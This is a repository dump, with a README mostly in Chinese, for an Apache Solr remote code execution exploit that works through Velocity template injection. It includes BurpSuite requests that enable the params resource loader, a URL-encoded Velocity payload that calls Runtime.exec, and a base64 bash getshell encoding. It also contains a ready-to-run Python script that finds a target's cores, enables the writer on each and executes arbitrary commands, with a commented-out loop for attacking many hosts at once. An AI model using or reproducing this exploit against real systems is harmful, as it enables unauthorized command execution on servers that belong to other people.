├── Apache_Solr_RCE_via_Velocity_template.gif ├── README.md ├── atom.jpg ├── core_name.jpg ├── gistfile1.txt ├── rce.jpg ├── solr-8983.jpg ├── solr-rce.jpg └── solr_rce.py /Apache_Solr_RCE_via_Velocity_template.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/Apache_Solr_RCE_via_Velocity_template.gif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Apache Solr RCE via Velocity template 2 | 3 | ![](./Apache_Solr_RCE_via_Velocity_template.gif) 4 | 5 | ## python usage: 6 | 7 | `python solr_rce.py http://x.x.x.x:8983 command` 8 | 9 | 10 | ![](./solr-rce.jpg) 11 | 12 | 13 | ## getshell encode payload 14 | 15 | http://www.jackson-t.ca/runtime-exec-payloads.html 16 | 17 | `whoami` 18 | 19 | `>>> bash -c {echo,d2hvYW1p}|{base64,-d}|{bash,-i}` 20 | 21 | ## 0x01 solr简介 22 | 23 | Solr是Apache Lucene项目的开源企业搜索平台。 24 | 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。 25 | 2019年10月30日,国外安全研究人员放出了一个关于solr 模板注入的exp,攻击者通过未授权访问solr服务器,发送特定的数据包开启params.resource.loader.enabled,然后get访问接口导致服务器命令执行,命令回显结果在response,于是本地搭建漏洞环境复现一下。 26 | 27 | ## 0x02 漏洞环境搭建 28 | 29 | `https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2` 30 | 31 | `https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/solr-7.7.2.zip` 32 | 33 | #### velocity.solr.resource.loader.enabled:true 34 | 35 | `/opt/solr-7.7.2/example/example-DIH/solr/atom/conf/solrconfig.xml` 36 | 37 | ``` 38 | root@kali:/opt/solr-7.7.2/example/example-DIH/solr/atom/conf# cat solrconfig.xml | grep enable 39 | true 40 | ${velocity.solr.resource.loader.enabled:false} 41 | ${velocity.params.resource.loader.enabled:false} 42 | root@kali:/opt/solr-7.7.2/example/example-DIH/solr/atom/conf# 43 | ``` 44 | #### 开启dih 示例 45 | 46 | `./solr -e dih -force` 47 | 48 | ``` 49 | root@kali:/opt/solr-7.7.2/bin# ./solr -e dih -force 50 | *** [WARN] *** Your open file limit is currently 1024. 51 | It should be set to 65000 to avoid operational disruption. 52 | If you no longer wish to see this warning, set SOLR_ULIMIT_CHECKS to false in your profile or solr.in.sh 53 | 54 | Starting up Solr on port 8983 using command: 55 | "/opt/solr-7.7.2/bin/solr" start -p 8983 -s "/opt/solr-7.7.2/example/example-DIH/solr" -force 56 | 57 | Waiting up to 180 seconds to see Solr running on port 8983 [\] 58 | Started Solr server on port 8983 (pid=20222). Happy searching! 59 | 60 | 61 | Solr dih example launched successfully. Direct your Web browser to http://localhost:8983/solr to visit the Solr Admin UI 62 | root@kali:/opt/solr-7.7.2/bin# 63 | ``` 64 | #### 浏览器访问 65 | 66 | `http://10.10.20.166:8983/solr/#/` 67 | 68 | ![](./solr-8983.jpg) 69 | 70 | 到此,漏洞环境搭建完成。 71 | 72 | 用户在打开网站时候,再burpsuite里面会发现一个接口,可以获取所有core name的名称,方便后续遍历core name,拼接字符串,依次检测漏洞 73 | 74 | ![](./core_name.jpg) 75 | 76 | `http://10.10.20.166:8983/solr/admin/cores?_=1572594549070&indexInfo=false&wt=json` 77 | 78 | 简写为 79 | 80 | `http://10.10.20.166:8983/solr/admin/cores?indexInfo=false&wt=json` 81 | 82 | ``` 83 | { 84 | "responseHeader": { 85 | "status": 0, 86 | "QTime": 3 87 | }, 88 | "initFailures": {}, 89 | "status": { 90 | "atom": { 91 | "name": "atom", 92 | "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/atom", 93 | "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/atom/data/", 94 | "config": "solrconfig.xml", 95 | "schema": "managed-schema", 96 | "startTime": "2019-11-01T07:47:08.216Z", 97 | "uptime": 107753 98 | }, 99 | "db": { 100 | "name": "db", 101 | "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/db", 102 | "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/db/data/", 103 | "config": "solrconfig.xml", 104 | "schema": "managed-schema", 105 | "startTime": "2019-11-01T07:47:09.224Z", 106 | "uptime": 106745 107 | }, 108 | "mail": { 109 | "name": "mail", 110 | "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/mail", 111 | "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/mail/data/", 112 | "config": "solrconfig.xml", 113 | "schema": "managed-schema", 114 | "startTime": "2019-11-01T07:47:06.695Z", 115 | "uptime": 109273 116 | }, 117 | "solr": { 118 | "name": "solr", 119 | "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/solr", 120 | "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/solr/data/", 121 | "config": "solrconfig.xml", 122 | "schema": "managed-schema", 123 | "startTime": "2019-11-01T07:47:06.702Z", 124 | "uptime": 109267 125 | }, 126 | "tika": { 127 | "name": "tika", 128 | "instanceDir": "/opt/solr-7.7.2/example/example-DIH/solr/tika", 129 | "dataDir": "/opt/solr-7.7.2/example/example-DIH/solr/tika/data/", 130 | "config": "solrconfig.xml", 131 | "schema": "managed-schema", 132 | "startTime": "2019-11-01T07:47:03.493Z", 133 | "uptime": 112475 134 | } 135 | } 136 | } 137 | 138 | ``` 139 | 140 | 141 | ## 利用Burpsuite 发包 ,开启params.resource.loader.enabled 142 | 143 | Ps: params.resource.loader.enabled 默认是false 144 | 145 | 由于我们修改的atom目录下的配置文件,所以我们只能拿这个存在配置缺陷的接口来攻击 146 | 147 | `http://10.10.20.166:8983/solr/atom/config` 148 | 149 | ![](./atom.jpg) 150 | 151 | #### BurpSuite request 152 | ``` 153 | POST /solr/atom/config HTTP/1.1 154 | Host: 10.10.20.166:8983 155 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0 156 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 157 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 158 | Accept-Encoding: gzip, deflate 159 | Content-Type: application/json 160 | Content-Length: 259 161 | Connection: close 162 | Upgrade-Insecure-Requests: 1 163 | 164 | { 165 | "update-queryresponsewriter": { 166 | "startup": "lazy", 167 | "name": "velocity", 168 | "class": "solr.VelocityResponseWriter", 169 | "template.base.dir": "", 170 | "solr.resource.loader.enabled": "true", 171 | "params.resource.loader.enabled": "true" 172 | } 173 | } 174 | ``` 175 | 176 | #### BurpSuite response 177 | ``` 178 | HTTP/1.1 200 OK 179 | Connection: close 180 | Content-Type: application/json;charset=utf-8 181 | Content-Length: 149 182 | 183 | { 184 | "responseHeader":{ 185 | "status":0, 186 | "QTime":554}, 187 | "WARNING":"This response format is experimental. It is likely to change in the future."} 188 | 189 | ``` 190 | ## 开启后,直接Get 访问(带入表达式)进行 远程代码命令执行 191 | 192 | `http://10.10.20.166:8983/solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end` 193 | 194 | #### ssit 195 | 196 | `http://10.10.20.166:8983/solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=` 197 | 198 | `#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end` 199 | 200 | ![](./rce.jpg) 201 | 202 | 注意到 状态码是`400`,`而不是200`,出现`500`的情况可能是 异常报错。这可以作为后续编写`脚本`判断漏洞存在有辅助帮助。 203 | 204 | 205 | ## gistfile1.txt 206 | 207 | 208 | 1. Set `params.resource.loader.enabled` as true. 209 | 210 | ``` 211 | Request: 212 | ======================================================================== 213 | POST /solr/test/config HTTP/1.1 214 | Host: solr:8983 215 | Content-Type: application/json 216 | Content-Length: 259 217 | 218 | { 219 | "update-queryresponsewriter": { 220 | "startup": "lazy", 221 | "name": "velocity", 222 | "class": "solr.VelocityResponseWriter", 223 | "template.base.dir": "", 224 | "solr.resource.loader.enabled": "true", 225 | "params.resource.loader.enabled": "true" 226 | } 227 | } 228 | ======================================================================== 229 | ``` 230 | 231 | 2. RCE via velocity template 232 | 233 | ``` 234 | Request: 235 | ======================================================================== 236 | GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 237 | Host: localhost:8983 238 | ======================================================================== 239 | 240 | 241 | Response: 242 | ======================================================================== 243 | HTTP/1.1 200 OK 244 | Content-Type: text/html;charset=utf-8 245 | Content-Length: 56 246 | 247 | 0 uid=8983(solr) gid=8983(solr) groups=8983(solr) 248 | ======================================================================== 249 | ``` 250 | ## 参考链接: 251 | 252 | https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt 253 | -------------------------------------------------------------------------------- /atom.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/atom.jpg -------------------------------------------------------------------------------- /core_name.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/core_name.jpg -------------------------------------------------------------------------------- /gistfile1.txt: -------------------------------------------------------------------------------- 1 | Apache Solr RCE via Velocity template 2 | 3 | Set "params.resource.loader.enabled" as true. 4 | 5 | Request: 6 | ======================================================================== 7 | POST /solr/test/config HTTP/1.1 8 | Host: solr:8983 9 | Content-Type: application/json 10 | Content-Length: 259 11 | 12 | { 13 | "update-queryresponsewriter": { 14 | "startup": "lazy", 15 | "name": "velocity", 16 | "class": "solr.VelocityResponseWriter", 17 | "template.base.dir": "", 18 | "solr.resource.loader.enabled": "true", 19 | "params.resource.loader.enabled": "true" 20 | } 21 | } 22 | ======================================================================== 23 | 24 | 25 | RCE via velocity template 26 | Request: 27 | ======================================================================== 28 | GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 29 | Host: localhost:8983 30 | ======================================================================== 31 | 32 | 33 | Response: 34 | ======================================================================== 35 | HTTP/1.1 200 OK 36 | Content-Type: text/html;charset=utf-8 37 | Content-Length: 56 38 | 39 | 0 uid=8983(solr) gid=8983(solr) groups=8983(solr) 40 | ======================================================================== -------------------------------------------------------------------------------- /rce.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/rce.jpg -------------------------------------------------------------------------------- /solr-8983.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/solr-8983.jpg -------------------------------------------------------------------------------- /solr-rce.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/solr_rce/08cf415cb9face933a145f4d308000d162f951e7/solr-rce.jpg -------------------------------------------------------------------------------- /solr_rce.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | import requests 4 | import sys 5 | import json 6 | 7 | banner = ''' 8 | 9 | 10 | _ _____ _ _____ _____ ______ 11 | /\ | | / ____| | | | __ \ / ____| ____| 12 | / \ _ __ __ _ ___| |__ ___ | (___ ___ | |_ __ | |__) | | | |__ 13 | / /\ \ | '_ \ / _` |/ __| '_ \ / _ \ \___ \ / _ \| | '__| | _ /| | | __| 14 | / ____ \| |_) | (_| | (__| | | | __/ ____) | (_) | | | | | \ \| |____| |____ 15 | /_/ \_\ .__/ \__,_|\___|_| |_|\___| |_____/ \___/|_|_| |_| \_\\_____|______| 16 | | | 17 | |_| 18 | 19 | Apache Solr Velocity模板远程代码执行 20 | 21 | 2019-10-30 17:30 22 | 23 | python By Jas502n 24 | 25 | 26 | 27 | >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 28 | ''' 29 | print banner 30 | 31 | def get_code_name(url): 32 | if url[-1] == '/': 33 | url = url[:-1].split('\n')[0] 34 | else: 35 | url = url.split('\n')[0] 36 | 37 | core_url = url + '/solr/admin/cores?indexInfo=false&wt=json' 38 | print '[+] Querying Core Name: '+core_url,'\n' 39 | proxies = {"http":"http://127.0.0.1:8080"} 40 | try: 41 | # r = requests.get(core_url,proxies=proxies) 42 | r = requests.get(core_url) 43 | if r.status_code == 200 and 'responseHeader' in r.content and 'status' in r.content: 44 | json_str = json.loads(r.content) 45 | for i in json_str['status']: 46 | core_name_url = url + '/solr/' + i + '/config' 47 | print core_name_url 48 | update_queryresponsewriter(core_name_url) 49 | else: 50 | print "No core name exit!" 51 | except: 52 | pass 53 | def update_queryresponsewriter(core_name_url): 54 | headers = { 55 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0', 56 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 57 | 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 58 | 'Accept-Encoding': 'gzip, deflate', 59 | 'Content-Type': 'application/json', 60 | 'Content-Length': '259', 61 | 'Connection': 'close' 62 | } 63 | payload = ''' 64 | { 65 | "update-queryresponsewriter": { 66 | "startup": "lazy", 67 | "name": "velocity", 68 | "class": "solr.VelocityResponseWriter", 69 | "template.base.dir": "", 70 | "solr.resource.loader.enabled": "true", 71 | "params.resource.loader.enabled": "true" 72 | } 73 | }''' 74 | proxies = {"http":"http://127.0.0.1:8080"} 75 | r = requests.post(core_name_url,headers=headers,data=payload) 76 | # r = requests.post(core_name_url,headers=headers,data=payload,proxies=proxies) 77 | if r.status_code == 200 and 'responseHeader' in r.content: 78 | print "[+] maybe enable Successful!" 79 | exp_url = core_name_url[:-7] 80 | cmd = 'whoami' 81 | cmd = sys.argv[2] 82 | 83 | send_exp(exp_url,cmd) 84 | else: 85 | print "[+] Enable Fail!\n" 86 | def send_exp(exp_url,cmd): 87 | exp_url = exp_url + r"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + cmd + r"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" 88 | proxies = {"http":"http://127.0.0.1:8080"} 89 | r = requests.get(exp_url) 90 | # r = requests.get(exp_url,proxies=proxies) 91 | if r.status_code == 400 or r.status_code == 500 or r.status_code ==200 and len(r.content) >0: 92 | print ">>> [+] Exp Send Successful! <<<" 93 | print "____________________________________________________________" 94 | print '\n',exp_url,'\n' 95 | print '>>>>>>>\n',r.content 96 | else: 97 | print "[+] EXP No Send Successful!\n" 98 | if __name__ == '__main__': 99 | if len(sys.argv) != 3: 100 | sys.exit("\n [+] Usage: python %s http://x.x.x.x:8983 command\n" % sys.argv[0]) 101 | else: 102 | # url = "http://192.168.5.86:8983" 103 | url = sys.argv[1] 104 | get_code_name(url) 105 | 106 | # 批量 107 | # f = open('url.txt','rb') 108 | # for i in f.readlines(): 109 | # url = i.split('\r\n')[0] 110 | # get_code_name(url) 111 | 112 | 113 | 114 | 115 | 116 | --------------------------------------------------------------------------------